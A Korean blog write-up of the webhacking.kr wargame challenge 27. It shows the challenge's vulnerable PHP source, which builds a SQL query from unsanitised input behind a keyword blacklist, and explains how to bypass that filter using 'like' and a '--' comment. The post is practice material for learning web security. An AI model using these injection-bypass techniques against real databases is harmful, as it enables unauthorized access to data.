DoR@Hee의 끄적끄적
webhacking.kr 27번 본문
문제 첫화면 SQL 관련 문제인거같다.
혹시 몰라서 소스코드를 해본 결과 index.php의 소스를 보여준다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | <html> <head> <title>Challenge 27</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> <input type=text name=no><input type=submit> </form> <? if($_GET[no]) { if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack"); //필터링 $q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error"); if($q[id]=="guest") echo("guest"); if($q[id]=="admin") @solve(); } ?> <!-- index.phps --> </body> </html> | cs |
해당 소스코드 이며 , 많은 sql 구문을 eregi로 필터링 하고있으며, 입력받은 no 값을 select id from challenge27_table where id='guest' and no=($_GET[no])을 이용해 sql구문을 입력하고있다.
select id from challenge27_table where id='guest' and no=(1)
select id from challenge27_table where id='guest' and no=(2) // and 구문으로 인해 guest는 admin이 아니거나 쿼리가 에러거나
=은 필터링하고있으니 like로 대신으나 query error이 떴다 생각해보면
select id from challenge27_table where id='guest' and no=(-1) or no like 2) ) exit("no hack");
f이런식으로 쿼리가 들어가기때문에 query error이 나타난거 였고 그에 따라서 마지막 ) 를 없애기 위해
위 와 같이 쿼리문을 입력했다. #은 필터링하고있기때문에 --을 이용해서 필터링했다.
성공
'WarGame > WebHacking.kr' 카테고리의 다른 글
webhacking.kr 29번 (0) | 2019.02.20 |
---|---|
webhacking.kr 28번 (0) | 2019.02.20 |
webhacking.kr 26번 (0) | 2019.02.19 |
webhacking.kr 25번 (0) | 2019.02.19 |
webhacking.kr 24번 (0) | 2019.02.19 |
Comments